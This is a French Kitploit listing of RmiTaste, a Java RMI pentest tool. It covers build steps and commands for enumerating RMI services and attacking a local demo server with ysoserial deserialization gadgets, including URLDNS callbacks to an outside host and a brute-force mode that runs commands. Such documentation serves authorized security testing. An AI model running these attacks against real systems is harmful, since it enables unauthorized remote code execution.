Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
RmiTaste — Outil de test de sécurité Java RMI pour détecter, énumérer et exploiter des services RMI non sécurisés à l'aide de gadgets de désérialisation ysoserial afin d'exécuter du code à distance. | Kitploit
Outils/GitHubGitHub/stmcyber/rmitaste
Analyse des VulnérabilitésExploitationTests d'Intrusion
GitHubstmcyber/rmitaste

RmiTaste

Outil de test de sécurité Java RMI pour détecter, énumérer et exploiter des services RMI non sécurisés à l'aide de gadgets de désérialisation ysoserial afin d'exécuter du code à distance.

Voir le dépôtSite web
1092011il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

License

RmiTaste

RmiTaste permet aux professionnels de la sécurité de détecter, énumérer, interagir avec et attaquer les services RMI en appelant des méthodes distantes avec des gadgets de ysoserial. Il permet également d'appeler une méthode distante avec des paramètres spécifiques.

Avertissement

RmiTaste a été conçu pour aider les professionnels de la sécurité à identifier les services RMI non sécurisés sur des systèmes pour lesquels l'utilisateur a obtenu une autorisation préalable d'attaquer. L'accès non autorisé à des systèmes informatiques est illégal et RmiTaste doit être utilisé conformément à toutes les lois en vigueur. Le non-respect de cette règle pourrait entraîner des poursuites judiciaires. Les développeurs de RmiTaste déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive ou des dommages causés par ce programme.

Construction et exécution

Nécessite openjdk 11.0.3.

  1. Téléchargez ysoserial-master-SNAPSHOT.jar et enregistrez-le dans le répertoire libs_attack (https://github.com/frohoff/ysoserial).
  2. Construisez le projet avec maven :
    root@kitploit:~
    mvn package
    
  3. Exécutez la commande :
    root@kitploit:~
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    
    
     __________        ._____________                __
     \______   \ _____ |__\__    ___/____    _______/  |_  ____
     |       _//     \|  | |    |  \__  \  /  ___/\   __\/ __ \
     |    |   \  Y Y  \  | |    |   / __ \_\___ \  |  | \  ___/
     |____|_  /__|_|  /__| |____|  (____  /____  > |__|  \___  >
           \/      \/                  \/     \/            \/
     @author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
    
    Warning: RmiTaste was written to aid security professionals in identifying the
             insecure use of RMI services on systems which the user has prior
             permission to attack. RmiTaste must be used in accordance with all
             relevant laws. Failure to do so could lead to your prosecution.
             The developers assume no liability and are not responsible for any
             misuse or damage caused by this program.
    
    

Utilisation

RmiTaste dispose de 4 modes : conn, enum, attack et call. Chaque mode dispose d'une aide séparée.

root@kitploit:~
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
  -h, --help   display this help message
Commands:
  conn    check connection to host
  enum    enumerate RMI service
  attack  attack RMI registry methods
  call    call specific method on RMI remote object

Mode conn

Le mode conn permet de vérifier si le port est un port de service RMI.

root@kitploit:~
# Check if 127.0.0.1:1099 is RMI Service
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099

Mode enum

Le mode enum permet d'obtenir des informations sur le service RMI telles que : les noms des objets distants et les noms des classes que l'objet distant implémente ou étend. Si l'interface implémentée par l'objet distant est disponible dans le classpath de RmiTaste, alors RmiTaste affichera toutes les méthodes distantes que vous pouvez appeler sur cet objet distant.

root@kitploit:~
# RMI service enumeration
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

Mode attack

Le mode attack permet d'appeler une méthode distante avec une chaîne de gadget spécifique de ysoserial. Supposons que l'objet distant dispose des méthodes suivantes :

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# Call all remote methods with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
root@kitploit:~
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"

L'option "-gen bruteforce" permet de forcer par brute force la méthode distante avec des gadgets de ysoserial. Dans cet exemple, la méthode deposit sera appelée plusieurs fois avec des gadgets de ysoserial.

root@kitploit:~
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with gadgets from ysoserial and command ping 127.0.0.1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"

Mode call

Le mode call permet d'appeler une méthode spécifique sur un objet distant RMI. Supposons que l'objet distant dispose des méthodes suivantes :

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# Call m0.rmitaste.example.server.ClientAccount.getBalance method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
root@kitploit:~
# Call m0.rmitaste.example.server.ClientAccount.setPin("1234") method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"

Exemples

Un serveur de démonstration est disponible ici.

  1. Lancez le serveur de démonstration.

  2. Énumérez la cible.

root@kitploit:~
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881] 
    extends java.rmi.server.RemoteObjectInvocationHandler [class]
    implements java.rmi.Remote [interface]
    extends java.lang.reflect.Proxy [class]
    extends java.rmi.server.RemoteObject [class]
    implements m0.rmitaste.example.server.ClientAccount [interface]
   	No methods found. I don't have remote object interface. Give it to me!

acc2 [object] [127.0.1.1:42881] 
    extends java.rmi.server.RemoteObjectInvocationHandler [class]
    implements java.rmi.Remote [interface]
    extends java.lang.reflect.Proxy [class]
    extends java.rmi.server.RemoteObject [class]
    implements m0.rmitaste.example.server.ClientAccount [interface]
   	No methods found. I don't have remote object interface. Give it to me!

Comme vous pouvez le voir, RmiTaste a besoin de l'interface de l'objet distant. Lors des tests d'intrusion, vous devrez trouver cette interface. Dans cet exemple, copiez simplement rmitaste.examples-1.0-SNAPSHOT-all.jar dans le répertoire libs_attack. Énumérez à nouveau la cible :

root@kitploit:~
acc1 [object] [127.0.1.1:42881] 
    extends java.rmi.server.RemoteObjectInvocationHandler [class]
    implements java.rmi.Remote [interface]
    extends java.lang.reflect.Proxy [class]
    extends java.rmi.server.RemoteObject [class]
    implements m0.rmitaste.example.server.ClientAccount [interface]
   	setPin(java.lang.String param0); [method]
   		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
   	getBalance(); [method]
   	deposit(java.lang.Object param0); [method]
   		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
   	withdraw(float param0); [method]

acc2 [object] [127.0.1.1:42881] 
    extends java.rmi.server.RemoteObjectInvocationHandler [class]
    implements java.rmi.Remote [interface]
    extends java.lang.reflect.Proxy [class]
    extends java.rmi.server.RemoteObject [class]
    implements m0.rmitaste.example.server.ClientAccount [interface]
   	setPin(java.lang.String param0); [method]
   		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
   	getBalance(); [method]
   	deposit(java.lang.Object param0); [method]
   		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
   	withdraw(float param0); [method]

Auteur

Twitter : @_mzer0

Inspiré par : BaRMIe et @h0ng10 article

Télécharger l’outil